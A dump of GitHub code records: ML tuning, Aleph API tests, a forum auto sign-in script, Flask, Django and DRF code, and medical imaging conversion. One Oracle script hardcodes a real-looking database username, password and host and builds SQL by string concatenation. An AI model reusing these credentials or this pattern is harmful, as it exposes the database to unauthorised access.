     parameters,\n                        cv = 2,\n                        n_jobs = 5,\n                        verbose=True)\nxgb_grid2.fit(X, Y)\nprint(xgb_grid2.best_score_)\n#0.25398606342292424\nprint(xgb_grid2.best_params_)\n#{'colsample_bytree': 0.7, 'learning_rate': 0.07, 'max_depth': 7, 'min_child_weight': 4, 'n_estimators': 300, 'nthread': 3, 'objective': 'reg:linear', 'silent': 1, 'subsample': 0.7}\n\nxgbgs2_train_predict = xgb_grid2.best_estimator_.predict(X_train)\nxgbgs2_test_predict = xgb_grid2.best_estimator_.predict(X_test)\nprint('Train rmse:', np.sqrt(mean_squared_error(y_train, xgbgs2_train_predict))) #Train rmse: 1.6541276461866792\nprint('Traim mape : ',np.mean(np.abs((y_train - xgbgs2_train_predict) / y_train)) * 100) #Train mape :  7.082597456269241\nprint('Test rmse:', np.sqrt(mean_squared_error(y_test, xgbgs2_test_predict))) # Test rmse: 1.6458114260121803\nprint('Test mape : ',np.mean(np.abs((y_test - xgbgs2_test_predict) / y_test)) * 100) #Test mape :  7.029744998432188\n\n# Step 7 : XGB_Regression Hyperparameter_Tune\nplt.rcParams[\"figure.figsize\"] = (20, 8)\nplot_importance(xgb_grid2.best_estimator_)\nplt.yticks(fontsize=8)\nplt.title('Feature importance after data engineering using XGBregression')\nplt.show()\n","repo_name":"Jinmun-Park/seoul_tradehub","sub_path":"src/save.py","file_name":"save.py","file_ext":"py","file_size_in_byte":78103,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"17092933147","text":"from unittest import skip  # noqa\nimport json\nimport logging\nfrom pprint import pprint  # noqa\n\nfrom banal import ensure_list\nfrom followthemoney import model\nfrom followthemoney.util import get_entity_id\nfrom followthemoney.types import registry\nfrom followthemoney.exc import InvalidData\n\nfrom aleph.tests.util import TestCase\nfrom aleph.views.util import validate\nfrom aleph.logic.collections import delete_collection\n\nlog = logging.getLogger(__name__)\n\n\ndef _normalize_data(data):\n    \"\"\"Turn entities in properties into entity ids\"\"\"\n    entities = data[\"layout\"][\"entities\"]\n    for obj in entities:\n        schema = model.get(obj.get(\"schema\"))\n        if schema is None:\n            raise InvalidData(\"Invalid schema %s\" % obj.get(\"schema\"))\n        properties = obj.get(\"properties\", {})\n        for name, values in list(properties.items()):\n            prop = schema.get(name)\n            if prop.type == registry.entity:\n                properties[prop.name] = []\n                for value in ensure_list(values):\n                    entity_id = get_entity_id(value)\n                    properties[prop.name].append(entity_id)\n    return data\n\n\nclass EntitySetAPITest(TestCase):\n    def setUp(self):\n        super(EntitySetAPITest, self).setUp()\n        self.col = self.create_collection(data={\"foreign_id\": \"coll1\"})\n        self.col2 = self.create_collection(data={\"foreign_id\": \"coll2\"})\n        _, self.headers = self.login(is_admin=True)\n        self.rolex = self.create_user(foreign_id=\"user_3\")\n        _, self.headers_x = self.login(foreign_id=\"user_3\")\n        self.input_data = self._load_data_for_import(\"royal-family.vis\")\n        # pprint(self.input_data)\n\n    def _load_data_for_import(self, fixture):\n        fixture = self.get_fixture_path(fixture)\n        with open(fixture, \"r\") as fp:\n            data = json.load(fp)\n        layout = data.pop(\"layout\")\n        entities = layout.pop(\"entities\")\n        return {\n            \"collection_id\": str(self.col.id),\n            \"layout\": layout,\n            \"entities\": entities,\n            \"label\": \"Royal Family\",\n            \"type\": \"diagram\",\n            \"summary\": \"...\",\n        }\n\n    def test_entityset_crud(self):\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=self.input_data, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitySet\")\n        ent_id = self.input_data[\"entities\"][0][\"id\"]\n        assert ent_id in str(res.json), res.json\n        entityset_id = res.json[\"id\"]\n\n        url = \"/api/2/entitysets\"\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"QueryResponse\")\n        assert len(res.json[\"results\"]) == 1\n\n        url = \"/api/2/entitysets?filter:collection_id=%s\" % self.col.id\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"QueryResponse\")\n        assert len(res.json[\"results\"]) == 1\n        res = self.client.get(url, headers=self.headers_x)\n        assert res.status_code == 200, res\n        assert len(res.json[\"results\"]) == 0\n        url = \"/api/2/entitysets?filter:collection_id=%s\" % self.col2.id\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"QueryResponse\")\n        assert len(res.json[\"results\"]) == 0\n\n        url = \"/api/2/entitysets/%s\" % entityset_id\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitySet\")\n        assert res.json[\"label\"] == \"Royal Family\"\n        res_str = json.dumps(res.json)\n        assert \"Philip\" in res_str\n\n        data = self._load_data_for_import(\"royal-family.vis\")\n        data[\"label\"] = \"Royal Family v2\"\n        res = self.client.post(url, json=data, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitySet\")\n        assert res.json[\"label\"] == \"Royal Family v2\"\n        assert res.json[\"summary\"] == \"...\"\n\n        res = self.client.delete(url, headers=self.headers)\n        assert res.status_code == 204, res\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 404, res\n\n    def test_entityset_entities_query(self):\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=self.input_data, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitySet\")\n        entityset_id = res.json[\"id\"]\n\n        entityset2_data = self._load_data_for_import(\"royal-family-v2.vis\")\n        res = self.client.post(url, json=entityset2_data, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitySet\")\n        entityset2_id = res.json[\"id\"]\n\n        query_url = \"/api/2/entitysets/%s/entities?filter:schemata=%s\"\n        url = query_url % (entityset_id, \"Thing\")\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitiesResponse\")\n        assert len(res.json[\"results\"]) == 3, len(res.json[\"results\"])\n\n        res = self.client.get(url + \"&facet=names\", headers=self.headers)\n        assert res.status_code == 200, res\n        facet = res.json[\"facets\"][\"names\"]\n        assert len(facet[\"values\"]) == 3, facet[\"values\"]\n        assert \"Elizabeth\" in str(facet[\"values\"]), facet[\"values\"]\n\n        url = query_url % (entityset_id, \"Interval\")\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitiesResponse\")\n        assert len(res.json[\"results\"]) == 4, len(res.json[\"results\"])\n\n        url = query_url % (entityset2_id, \"Interval\")\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitiesResponse\")\n        assert len(res.json[\"results\"]) == 2, len(res.json[\"results\"])\n\n    def test_entityset_entities_upsert(self):\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=self.input_data, headers=self.headers)\n        entityset_id = res.json[\"id\"]\n        url = \"/api/2/entitysets/%s/entities\" % entityset_id\n        data = {\n            \"schema\": \"Person\",\n            \"id\": \"deadbeef\",\n            \"properties\": {\"name\": [\"Test Person\"]},\n        }\n        res = self.client.post(url, json=data)\n        assert res.status_code == 403, res\n        res = self.client.post(url, json=data, headers=self.headers)\n        assert res.status_code == 200, res\n        assert res.json[\"schema\"] == \"Person\", res.json\n        assert res.json[\"id\"] != data[\"id\"], res.json\n        assert res.json[\"id\"].startswith(data[\"id\"]), res.json\n\n        data = dict(res.json)\n        data[\"properties\"][\"nationality\"] = [\"np\"]\n        res2 = self.client.post(url, json=data, headers=self.headers)\n        assert res2.status_code == 200, res2\n        assert res2.json[\"id\"] == res.json[\"id\"], res2.json\n        assert \"np\" in res2.json[\"properties\"][\"nationality\"], res2.json\n\n        embed_url = \"/api/2/entitysets/%s/embed\" % entityset_id\n        res = self.client.post(embed_url)\n        assert res.status_code == 403, res\n        res = self.client.post(embed_url, headers=self.headers)\n        assert res.status_code == 200, res\n        data = dict(res.json)\n        assert len(res.json[\"embed\"]) > 1000, res.json\n        assert res.json[\"url\"] is None\n\n    def test_entity_entitysets(self):\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=self.input_data, headers=self.headers)\n        assert res.status_code == 200, res\n\n        colid = str(self.col.id)\n        entityset_id = res.json[\"id\"]\n\n        url = f\"/api/2/entitysets/{entityset_id}/entities?filter:schemata=Person\"\n        res = self.client.get(url, headers=self.headers)\n        ent_id = res.json[\"results\"][0][\"id\"]\n\n        url = f\"/api/2/entities/{ent_id}/entitysets\"\n        res = self.client.get(url, headers=self.headers)\n        assert entityset_id in {e[\"id\"] for e in res.json[\"results\"]}, res.json\n\n        url = f\"/api/2/entities/{ent_id}/entitysets?filter:collection_id={colid}&filter:type=diagram&filter:judgement=positive\"  # noqa: E501\n        res = self.client.get(url, headers=self.headers)\n        assert entityset_id in {e[\"id\"] for e in res.json[\"results\"]}, res.json\n\n        for filt in (\n            \"collection_id=66666\",\n            \"label=asdfadsfs\",\n            \"judgement=no_judgement\",\n            \"type=timeline\",\n        ):\n            url = f\"/api/2/entities/{ent_id}/entitysets?filter:{filt}\"\n            res = self.client.get(url, headers=self.headers)\n            assert entityset_id not in {e[\"id\"] for e in res.json[\"results\"]}, res.json\n\n    def test_entityset_items_query(self):\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=self.input_data, headers=self.headers)\n        assert res.status_code == 200, res\n        entityset_id = res.json[\"id\"]\n\n        url = \"/api/2/entitysets/%s/items\" % entityset_id\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"EntitySetItemResponse\")\n        assert len(res.json[\"results\"]) == 7, len(res.json[\"results\"])\n\n        fst = res.json[\"results\"][0]\n        fst[\"judgement\"] = \"negative\"\n        res = self.client.post(url, json=fst)\n        assert res.status_code == 403, res\n        res = self.client.post(url, json=fst, headers=self.headers)\n        assert res.status_code == 200, res\n        assert res.json[\"judgement\"] == \"negative\", res\n\n        res = self.client.get(url, headers=self.headers)\n        assert len(res.json[\"results\"]) == 7, len(res.json[\"results\"])\n\n        fst[\"judgement\"] = \"no_judgement\"\n        res = self.client.post(url, json=fst, headers=self.headers)\n        assert res.status_code == 200, res\n        assert res.json[\"judgement\"] == \"no_judgement\", res\n\n        res = self.client.get(url, headers=self.headers)\n        assert len(res.json[\"results\"]) == 6, len(res.json[\"results\"])\n\n    def test_create_empty(self):\n        data = {\n            \"label\": \"hello\",\n            \"type\": \"list\",\n            \"collection_id\": str(self.col.id),\n        }\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=data, headers=self.headers)\n        assert res.status_code == 200, res\n\n    def test_create_without_collection_id(self):\n        data = {\n            \"label\": \"hello\",\n        }\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=data, headers=self.headers)\n        assert res.status_code == 400, res\n\n    def test_unauthorized_create(self):\n        url = \"/api/2/entitysets\"\n        data = {\n            \"label\": \"hello\",\n            \"type\": \"diagram\",\n            \"collection_id\": str(self.col.id),\n        }\n        res = self.client.post(url, json=data, headers=self.headers_x)\n        assert res.status_code == 403, res\n\n    def test_delete_when_collection_deleted(self):\n        data = {\n            \"label\": \"hello\",\n            \"type\": \"list\",\n            \"collection_id\": str(self.col.id),\n        }\n        url = \"/api/2/entitysets\"\n        res = self.client.post(url, json=data, headers=self.headers)\n        assert res.status_code == 200, res\n        entityset_id = res.json[\"id\"]\n        delete_collection(self.col)\n        url = \"/api/2/entitysets/%s\" % entityset_id\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 404, res\n\n    def test_entitysets_types_filter(self):\n        entitysets = (\n            {\n                \"label\": \"Timeline\",\n                \"type\": \"timeline\",\n                \"collection_id\": str(self.col.id),\n            },\n            {\"label\": \"Diagram\", \"type\": \"diagram\", \"collection_id\": str(self.col.id)},\n            {\"label\": \"List\", \"type\": \"list\", \"collection_id\": str(self.col.id)},\n        )\n        url = \"/api/2/entitysets\"\n        for eset in entitysets:\n            res = self.client.post(url, json=eset, headers=self.headers)\n            assert res.status_code == 200, res\n\n        res = self.client.get(url, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"QueryResponse\")\n        assert len(res.json[\"results\"]) == 3\n\n        for qfilter in (\"timeline\", \"diagram\", \"list\"):\n            res = self.client.get(url + f\"?filter:type={qfilter}\", headers=self.headers)\n            assert res.status_code == 200, res\n            validate(res.json, \"QueryResponse\")\n            assert len(res.json[\"results\"]) == 1\n\n        qurl = url + \"?filter:type=timeline&filter:type=diagram\"\n        res = self.client.get(qurl, headers=self.headers)\n        assert res.status_code == 200, res\n        validate(res.json, \"QueryResponse\")\n        assert len(res.json[\"results\"]) == 2\n","repo_name":"alephdata/aleph","sub_path":"aleph/tests/test_entitysets_api.py","file_name":"test_entitysets_api.py","file_ext":"py","file_size_in_byte":12933,"program_lang":"python","lang":"en","doc_type":"code","stars":1870,"dataset":"github-code","pt":"3"}
+{"seq_id":"32237786565","text":"import requests\nimport os\nimport re\n\n# username and password are set on github secrets.\nusername = os.environ[\"HAO4K_USERNAME\"]\npassword = os.environ[\"HAO4K_PASSWORD\"]\n\n# TG \nbot_token = os.environ[\"TG_BOT_TOKEN\"]\nchat_id = os.environ[\"TG_CHAT_ID\"]\n\napi_url = \"https://api.telegram.org/bot%s/sendMessage\" % (bot_token)\nsend_message = \"Server ERROR\"\n\nuser_url = \"https://www.4ksj.com//member.php?mod=logging&action=login\"\nheaders = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'}\nbase_url = \"https://www.4ksj.com/\"\nsignin_url = \"https://www.4ksj.com/plugin.php?id=k_misign:sign&operation=qiandao&formhash={formhash}&format=empty\"\nform_data = {\n    'formhash': \"\",\n    'referer': \"https://www.4ksj.com/./\",\n    'username': username,\n    'password': password,\n    'questionid': \"0\",\n    'answer': \"\"\n}\ninajax = '&inajax=1'\n\ndef run(form_data):\n    s = requests.Session()\n    user_resp = s.get(user_url, headers=headers)\n    login_text = re.findall('action=\"(.*?)\"', user_resp.text)\n    for loginhash in login_text:\n        if 'loginhash' in loginhash:\n            login_url = base_url + loginhash +inajax\n            login_url =login_url.replace(\"amp;\", \"\")\n            print(login_url)\n    form_text =re.search('formhash\" value=\"(.*?)\"', user_resp.text)\n    print(form_text.group(1))\n    form_data['formhash'] = form_text.group(1)\n    print(form_data)\n    login_post = s.post(login_url, data=form_data, headers=headers)\n\n    login_resp = s.get('https://www.4ksj.com/qiandao/', headers=headers)\n    if username in login_resp.text:\n        print('Login succeed!')\n    else:\n        return('Login failed!')\n    signin_text = re.search('formhash=(.*?)\"', login_resp.text)\n    signin_post = s.get(signin_url.format(formhash=signin_text.group(1)), headers=headers)\n    print(signin_post.status_code)\n\n    signin_resp = s.get('https://www.4ksj.com/qiandao/', headers=headers)\n    if '您的签到排名' in signin_resp.text:\n        print('Signin succeed!')\n    else:\n        return('Signin failed!')\n\nif __name__ == \"__main__\":\n    signin_log = run(form_data)\n    if signin_log is None:\n        send_message = \"hao4K每日签到成功!\"\n        print('Signin automaticlly!')\n    else:\n        send_message = signin_log\n        print(signin_log)\n    params = {'chat_id': chat_id,'text': send_message}\n    r = requests.get(api_url, params=params)\n    if r.status_code == requests.codes.ok:\n        print(\"签到消息已发送至我的Telegram Bot。\")\n    else:\n        print(r.status_code)\n","repo_name":"bychen009/hao4k-auto-sign-in","sub_path":"autosignin.py","file_name":"autosignin.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"31405312096","text":"from flask import Blueprint, request, jsonify\nfrom app.models.db import db\nfrom app.socket import handle_add_like_post, handle_delete_like_post, handle_add_like_comment, handle_delete_like_comment\nfrom app.models import Like\n\nlike_routes = Blueprint('likes', __name__)\n\n@like_routes.route('/')\ndef allLikes():\n    likes = Like.query.all()\n    return {'likes': [like.to_dict() for like in likes]}\n\n@like_routes.route('/post', methods=['POST'])\ndef likePost():\n    data = request.get_json()\n    newLike = Like(\n        user_id=data['userId'],\n        post_id=data['postId']\n    )\n    db.session.add(newLike)\n    db.session.commit()\n    handle_add_like_post(newLike.to_dict())\n    return newLike.to_dict()\n\n@like_routes.route('/post/<int:postId>/<int:userId>', methods=['DELETE'])\ndef unlikePost(postId, userId):\n    unlike = Like.query.filter(Like.user_id == userId).filter(Like.post_id == postId).all()[0]\n    db.session.delete(unlike)\n    db.session.commit()\n    handle_delete_like_post({'postId':postId, 'userId':userId})\n    return jsonify({'message': 'Like has been deleted'}), 200\n\n@like_routes.route('/comment', methods=['POST'])\ndef likeComment():\n    data = request.get_json()\n    newLike = Like(\n        user_id=data['userId'],\n        comment_id=data['commentId']\n    )\n\n    db.session.add(newLike)\n    db.session.commit()\n    handle_add_like_comment(newLike.to_dict())\n    return newLike.to_dict()\n\n@like_routes.route('/comment/<int:commentId>/<int:userId>', methods=['DELETE'])\ndef unlikeComment(commentId, userId):\n    unlike = Like.query.filter(Like.user_id == userId).filter(Like.comment_id == commentId).all()[0]\n    db.session.delete(unlike)\n    db.session.commit()\n    handle_delete_like_comment({'commentId':commentId, 'userId':userId})\n    return jsonify({'message': 'Like has been deleted'}), 200\n","repo_name":"span9692/Soundbook","sub_path":"app/api/like_routes.py","file_name":"like_routes.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"71755614482","text":"#     С помощью SQL запросов через библиотеку sqlite создать таблицу содержаюую 2 стобца: номер и имя\n\nimport sqlite3\n\nconn = sqlite3.connect(':memory:')\nc = conn.cursor()\nc.execute('''CREATE TABLE test_data\n             (num integer PRIMARY KEY, name text NOT NULL)''')\n\n#     Добавить три строки с данными.\nc.executemany(\"INSERT INTO test_data VALUES (?,?);\", [(1, 'Зенит'), (2, 'Спартак'), (3, 'ЦСКА')])\nconn.commit()\n\n#     Получить данные из таблицы и распечатать их на экране.\n\nfor row in c.execute('SELECT * FROM test_data'):\n    print(row)\n\nc.execute(\"SELECT * FROM test_data ORDER by length(name)\")\nprint(c.fetchall())\n\nconn.close()\n","repo_name":"BelAn97/Python_TR","sub_path":"homeworks/TR_02/Python_TR_02_sql.py","file_name":"Python_TR_02_sql.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29119083860","text":"import cx_Oracle\nimport random\nimport datetime\noracle_client_path = \"C:\\\\Program Files\\\\instantclient-basiclite-windows.x64-21.9.0.0.0dbru\\\\instantclient_21_9\"\ncx_Oracle.init_oracle_client(lib_dir=oracle_client_path)\n# Oracle 데이터베이스 접속 정보\nconn = cx_Oracle.connect(\"campus_b_230329_3\",\"smhrd3\",\"project-db-stu3.ddns.net:1525/XE\")\ncursor = conn.cursor()\n\n# 데이터 생성 및 삽입\nstart_date = datetime.datetime(2023, 3, 1, 0, 0, 0)\nend_date = datetime.datetime(2023, 3, 30, 23, 59, 0)\ndelta = datetime.timedelta(minutes=1)\n\nwhile start_date <= end_date:\n    p_date = start_date.strftime('%Y-%m-%d %H:%M:%S')\n    energy = round(random.uniform(70, 100), 5) if start_date.hour in range(9, 13) else round(random.uniform(20, 40), 5)\n    sql = \"INSERT INTO p_concent (CONID, P_DATE, ENERGY, P_STATE) VALUES ('acha1', TO_DATE('\" + p_date + \"', 'YYYY-MM-DD HH24:MI:SS'), \" + str(energy) + \", 0)\"\n    cursor.execute(sql)\n    start_date += delta\n\nconn.commit()\ncursor.close()\nconn.close()","repo_name":"Sarami9608/-","sub_path":"--main/makeData.py","file_name":"makeData.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23067864306","text":"\nwith open(\"Input/Letters/starting_letter.txt\",\"r\") as pismo:\n    letter = pismo.read()\nwith open(\"Input/Names/invited_names.txt\", \"r\") as names:\n    list_names = names.readlines()\n\nfor i in list_names:\n    i = i.strip()\n    with open(f\"../Mail Merge Project Start/Output/ReadyToSend/letter_for_{i}.txt\", \"w\") as file:\n        replaced = letter.replace(\"[name]\",i)\n        file.write(replaced)\n\n\n\n\n","repo_name":"darimachine/Mail_Merge_Project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4506162140","text":"from rest_framework import serializers\nfrom .models import Author, Genre, Book\n\nclass AuthorSerializer(serializers.HyperlinkedModelSerializer):\n    author = serializers.HyperlinkedRelatedField(\n        view_name='author_detail',\n        many=True,\n        read_only=True\n    )\n\n    author_url = serializers.ModelSerializer.serializer_url_field(\n        view_name='author_detail'\n    )\n\n    class Meta:\n        model = Author\n        fields = ('name', 'author_url', 'dob', 'bio', 'nationality', 'author', )\n\nclass GenreSerializer(serializers.HyperlinkedModelSerializer):\n    genre = serializers.HyperlinkedRelatedField(\n        view_name='genre_detail',\n        many=True,\n        read_only=True\n    )\n\n    genre_url = serializers.ModelSerializer.serializer_url_field(\n        view_name='genre_detail'\n    )\n    class Meta:\n        model = Genre\n        fields = ('name', 'desc', 'genre', 'genre_url',)\n\nclass BookSerializer(serializers.HyperlinkedModelSerializer):\n    book = serializers.HyperlinkedRelatedField(\n        view_name='book_detail',\n        many=True,\n        read_only=True\n    )\n\n    book_url = serializers.ModelSerializer.serializer_url_field(\n        view_name='book_detail'\n    )\n\n    class Meta:\n        model = Book\n        fields = ('title', 'book_url', 'isbn', 'publisher', 'date', 'desc', 'cov_img', 'book', 'author', 'genre')","repo_name":"AMassock/GA_Coursework","sub_path":"drf-book-api-hw/book/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"26204770146","text":"from __future__ import unicode_literals\nimport datetime\nimport random\nfrom django.contrib.auth.signals import user_logged_in\nfrom apps.billing.signals import membership_dates_update\nfrom django.db import models\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.db.models.signals import post_save\n\n\nclass Membership(models.Model):\n    user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, blank=True, null=True)\n    first_name = models.CharField(max_length=100)\n    last_name = models.CharField(max_length=100)\n    start_date = models.DateTimeField(default=timezone.now, verbose_name='Start Date')\n    end_date = models.DateTimeField(default=timezone.now, verbose_name='End Date')\n\n    def __str__(self):\n        return self.user.get_full_name()\n\n    def update_status(self):\n        if self.end_date >= timezone.now():\n            self.user.is_member = True\n            self.user.save()\n        \n        elif self.end_date < timezone.now():\n            self.user.is_member = False\n            self.user.save()\n        \n        else:\n            pass\n\ndef update_membership_status(sender, instance, created, **kwargs):\n    if not created:\n        instance.update_status()\n\npost_save.connect(update_membership_status, sender=Membership)\n\n    \ndef update_membership_dates(sender, new_start_date, **kwargs):\n    membership = sender\n    current_end_date = membership.end_date\n\n    if current_end_date >= new_start_date:\n        membership.end_date = current_end_date + datetime.timedelta(days=30, hours=10)\n        membership.save()\n\n    else:\n        membership.start_date = new_start_date\n        membership.end_date = new_start_date + datetime.timedelta(days=30, hours=10)\n        membership.save()\n\nmembership_dates_update.connect(update_membership_dates)\n\n\nclass TransactionManager(models.Manager):\n    def create_new(self, user, transaction_id, amount, t_type, success=None, transaction_status=None, last_four=None):\n        if not user:\n            raise ValueError('Must be a user')\n        \n        if not transaction_id:\n            raise ValueError('Must complete payments for you to be added')\n\n        new_account_id = \"%s%s%s\" % (transaction_id[:2], random.randint(1, 100000000), transaction_id[2:])\n        new_trans = self.model(\n            user = user,\n            transaction_id = transaction_id,\n            account_id = new_account_id,\n            amount = amount,\n            t_type = t_type\n        )\n\n        if success is not None:\n            new_trans.success = success\n            new_trans.transaction_status = transaction_status\n\n        if last_four is not None:\n            new_trans.last_four = last_four\n\n        new_trans.save(using=self._db)\n        return new_trans\n\n    def all_for_user(self, user):\n        return super(TransactionManager, self).filter(user=user)\n\n    def get_recent_for_user(self, user, num):\n        return super(TransactionManager, self).filter(user=user)[:num]\n\n    \nclass Transaction(models.Model):\n    user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, blank=True, null=True)\n    transaction_id = models.CharField(max_length=100) # mpesa code\n    account_id = models.CharField(max_length=100)\n    amount = models.DecimalField(max_digits=20, decimal_places=2)\n    success = models.BooleanField(default=True)\n    transaction_status = models.CharField(max_length=220, null=True, blank=True)\n    t_type = models.CharField(max_length=50)\n    last_four = models.PositiveIntegerField(null=True, blank=True)\n    timestamp = models.DateTimeField(auto_now_add=True, auto_now=False)\n    objects = TransactionManager()\n\n    def __unicode__(self):\n        return self.account_id\n\n    class Meta:\n        ordering = ['-timestamp']\n\n\nclass UserMerchantID(models.Model):\n    user = models.OneToOneField(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, blank=True, null=True)\n    member_id = models.CharField(max_length=100)\n    sub_id = models.CharField(max_length=100, null=True, blank=True)\n    merchant_name = models.CharField(max_length=100, default='M-pesa')\n\n    def __unicode__(self):\n        return self.member_id","repo_name":"CSOK/csokimathi","sub_path":"apps/billing/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4149,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"4386403411","text":"import itertools\nfrom multiprocessing.pool import Pool\nimport pandas as pd\n\nimport os\nfrom glob import glob\nimport shutil\nfrom tqdm import tqdm\nfrom functools import partial\nimport numpy as np\n\nfrom dcm2nii import hasSubdir, dcm2niix\nfrom meta2csv import meta2csv\nfrom meta2report import mergeReportAndSeries\n\n\n\"\"\"\nPRE_FULL_REPORT_ROOT: All previous full reports to exclude from by patients' IDs.\nDF_PATH: path that has all new patients full reports if it exists.\nDATA_ROOT: DICOM ROOT or Nii ROOT.\nOUT_DIR_NII: directory to output patients nii files of interest. \nPRE_NII_ROOT: previous nii files root to move to OUT_DIR_NII\nKEYWORDS: Used to select by descriptions of patients\nTYPE: Modality type (MR, CT)\nSELECT: whether to select by interest\n\"\"\"\n\nPRE_FULL_REPORT_ROOT = r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\meta'\n# PRE_FULL_REPORT_ROOT = None\nDATA_ROOT = r'E:\\done\\CT'\n# DATA_ROOT = None\nOUT_DIR_NII_interest = r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\round_4\\CT\\data'\nOUT_DIR_NII_tmp = r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\round_4\\CT\\tmp_mr'\nDF_PATH = r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\round_4\\CT\\ct_data_meta_round_4.xlsx'\n# PRE_NII_ROOT = r'D:\\Development\\OneDrive - i.shu.edu.cn\\AMOS\\People_hospital\\round_4\\MR\\data'\nTYPE = 'CT'\nPRE_NII_ROOT=None\n\nSELECT = True\n# PRE_NII_ROOT = r'F:\\MIA\\AMOS-CT-MR\\processed\\second_round\\ct_nii\\ct_nii_raw_20210101_20210117'\n\n# KEYWORDS = ['结石', '胆囊炎', '车祸伤', '胰腺炎', '切除', '骨折', '溃疡', '肾脏病', '腹水', '糜烂']\n# KEYWORDS = ['瘤', '癌']\nKEYWORDS = None\n# KEYWORDS = ['痛', '体检', '发热', '贫血']\n# KEYWORDS = ['晕', '呕吐', '感染', '糖尿病', '异常', '梗阻', '中毒', '白细胞', '高血压', '功能']\n\n\ndef select_nii_paths_with_interest(df_interest, nii_dir):\n    \"\"\"\n    Args:\n    - df_interest: dataframe after selection\n    - nii_dir: nii files root.\n\n    Return:\n    Paths after interest selection.\n    \"\"\"\n    total = []\n    # clean\n    for root, dirs, files in os.walk(nii_dir):\n        file_list = []\n        for file in files:\n            file_list.append(os.path.join(root, file))\n        total.extend(file_list)\n    total = [x for x in total if x.endswith('.nii.gz')]\n    total = [x for x in total if os.path.split(\n        x)[-1].split('.nii.gz')[0] in df_interest['nii_file'].values]\n\n    print(\n        f'Get {len(total)} cases in the end and ready for moving it to {OUT_DIR_NII_interest}.')\n    return total\n\n\ndef generate_dcm_dirs(df_interest, total_dcm_dirs=None):\n    \"\"\"\n    Get dcm dirs input for dcm2niix \n\n    Args:\n    - df_interest: dataframe after interest selection.\n    - total_dcm_dirs: all dcm checks directories\n    \"\"\"\n    if total_dcm_dirs is None:\n        total = []\n        print(\"Have not found dicom folders in variables. Start collecting dicom folders to convert to nii.\")\n        for root, dirs, files in os.walk(DATA_ROOT):\n            dir_list = []\n            for _dir in dirs:\n                dir_list.append(os.path.join(root, _dir))\n            total.extend(dir_list)\n        print('Checking all dicom files paths.')\n        total_dcm_dirs = [x for x in tqdm(total) if not hasSubdir(x)]\n        print(f'Found cases {len(total_dcm_dirs)} after checking.')\n\n    total_paths = set()\n    check_ids = df_interest['nii_file'].str.split(\n        '_', expand=True).loc[:, 0].values\n    \n    for _dir in total_dcm_dirs:\n        if os.path.split(_dir)[-1] in check_ids:\n            total_paths.add(_dir)\n    return list(total_paths)\n\n\ndef move(total_nii_paths):\n    \"\"\"\n    - total_nii_paths: all nii_paths to move to OUT_DIR_NII\n    \"\"\"\n    os.makedirs(OUT_DIR_NII_interest, exist_ok=True)\n\n    if PRE_NII_ROOT is not None:\n        print(f'Copying nii_temp files in {PRE_NII_ROOT}')\n\n    for file in tqdm(total_nii_paths):\n        _ = file.split(os.sep)\n        dir_name = _[-2]\n        file_name = _[-1]\n        dir_out = os.path.join(OUT_DIR_NII_interest, dir_name)\n        os.makedirs(dir_out, exist_ok=True)\n        